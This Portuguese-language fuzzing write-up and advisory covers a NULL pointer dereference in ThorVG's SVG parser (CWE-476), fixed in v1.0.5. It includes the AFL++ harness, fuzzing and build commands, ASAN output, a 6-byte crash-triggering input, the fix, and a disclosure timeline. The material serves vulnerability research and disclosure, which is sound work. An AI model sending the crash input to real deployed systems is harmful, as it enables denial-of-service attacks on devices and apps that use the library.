
ThorVG desreferência de ponteiro nulo via SVG malformado — writeup de fuzzing com AFL++
Gravidade: CVSS 4.3 (Média) — CWE-476
Aviso: GHSA-f863-8ghq-7h64
Corrigido em: ThorVG v1.0.5
Estado: Corrigido / Divulgado
O analisador SVG do ThorVG desreferencia um ponteiro que nunca é inicializado quando encontra uma tag de elemento filho truncada dentro de um nó <svg> raiz. A falha é alcançável pelo caminho normal de renderização (tvg::Picture::load → análise → renderização) e pode ser acionada com uma entrada de 6 bytes.
O impacto no pior caso em Linux padrão é uma queda do processo (DoS) — mmap_min_addr impede o mapeamento da página NULL, portanto a falha não é diretamente explorável para execução de código nesse ambiente. Em alvos sem MMU onde o ThorVG também é usado (Tizen, firmware baseado em LVGL) o cenário de explorabilidade é diferente e merece uma análise mais detalhada.
O ThorVG é um mecanismo de gráficos vetoriais multiplataforma escrito em C++17. É o renderizador SVG/Lottie padrão no Samsung Tizen OS, está incluído no LVGL (amplamente usado em UI embarcada/IoT) e é distribuído como uma biblioteca independente em várias plataformas.
A biblioteca processa entradas SVG/JSON não confiáveis e frequentemente é exposta em contextos sem separação de privilégios. O código de análise em bibliotecas gráficas historicamente tem sido uma fonte confiável de bugs de segurança de memória — o ThorVG é desenvolvido ativamente e, no momento desta pesquisa, não tinha cobertura de fuzzing registrada em rastreadores públicos de bugs.
O harness envolve a API de carregamento em memória do ThorVG para que o AFL++ possa conduzir o analisador diretamente, sem E/S de disco.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
Compile com ASAN + instrumentação de cobertura:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
Começar do zero com bytes aleatórios tem baixo desempenho em analisadores sensíveis a formato. Populei o corpus com um conjunto de arquivos SVG mínimos estruturalmente válidos cobrindo:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> aninhado<use>Sementes com consciência de estrutura reduziram o tempo até os primeiros caminhos interessantes de horas para menos de 20 minutos no meu ambiente.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — dicionário de tokens do AFL++ com palavras-chave SVG para ajudar a mutar em direção a nomes de tags válidos.
-m none — a memória sombra do ASAN exige desativar o limite de memória do AFL++.
O AFL++ produziu uma queda após aproximadamente 3 horas de fuzzing com um único núcleo. A entrada inicial que causou a queda tinha ~180 bytes. A saída do ASAN:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
A falha é uma leitura através de um ponteiro SvgNode* não inicializado (NULL) dentro de _parseStyle. Espera-se que o ponteiro seja definido por _createElement ao processar um elemento filho, mas um nome de tag truncado faz com que o elemento seja ignorado sem que o ponteiro seja atribuído, e _parseStyle prossegue e o desreferencia mesmo assim.
Minimizado com afl-tmin e depois poda manual:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
Após afl-tmin, a entrada tinha 14 bytes. A inspeção manual do caminho de análise mostrou que apenas os primeiros 6 bytes eram consumidos antes da falha:
<svg><
<svg> abre o nó raiz. < inicia uma tag de elemento filho. O analisador lê o nome da tag, obtém uma string vazia (a entrada termina imediatamente após <), pula a criação do elemento e cai em _parseStyle com o ponteiro do nó ainda NULL.
Confirme que o gatilho de 6 bytes reproduz:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
Pseudocódigo simplificado do fluxo vulnerável:
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
A correção no v1.0.5 adiciona um retorno antecipado no loop de despacho de elementos quando _createElement retorna nullptr, antes que qualquer processamento de atributos/estilo seja tentado.
/proc/sys/vm/mmap_min_addr normalmente está definido como 65536 em distribuições modernas. A página NULL não está mapeada, então a CPU gera um SIGSEGV que o kernel converte em um sinal para o processo — o resultado é uma queda (DoS). Sem escrita controlada, sem controle de PC, não diretamente explorável para execução de código.
O ThorVG é um cidadão de primeira classe no Tizen (SO de IoT/wearables da Samsung) e está integrado ao LVGL, que roda em microcontroladores e sistemas sem MMU.
Em sistemas sem MMU não há proteção de memória e mmap_min_addr não se aplica. Se a página NULL estiver mapeada (o que é comum em ambientes embarcados bare-metal), uma desreferência de ponteiro NULL pode potencialmente apontar para memória controlada pelo atacante. Se isso é alcançável em um ataque real depende da superfície de ataque — o ThorVG em um dispositivo Tizen pode analisar SVG de fontes de rede não confiáveis ou de conteúdo fornecido pelo usuário.
Esse contexto é o que justifica a divulgação responsável mesmo para uma descoberta de CVSS Média.
A correção adiciona uma proteção contra NULL no loop de despacho de elementos SVG:
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
Diff completo: lançamento do ThorVG v1.0.5
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
Saída esperada: relatório do ASAN com SEGV on unknown address 0x000000000000 em tvg::SvgParser::_parseStyle.
Encontrado por yeahhbean (이예빈) via fuzzing guiado por cobertura com AFL++ e corpus de sementes SVG com consciência de estrutura.
| Data | Evento |
|---|
| 2026-xx-xx | Queda descoberta via AFL++ |
| 2026-xx-xx | Causa raiz confirmada sob ASAN; POC de 6 bytes produzida |
| 2026-xx-xx | Relatório privado enviado ao mantenedor do ThorVG (hermet) via GitHub Security Advisory |
| 2026-xx-xx | Mantenedor confirmou e abriu um fork privado |
| 2026-xx-xx | Correção integrada ao v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 publicado; CVE-2026-45729 atribuído |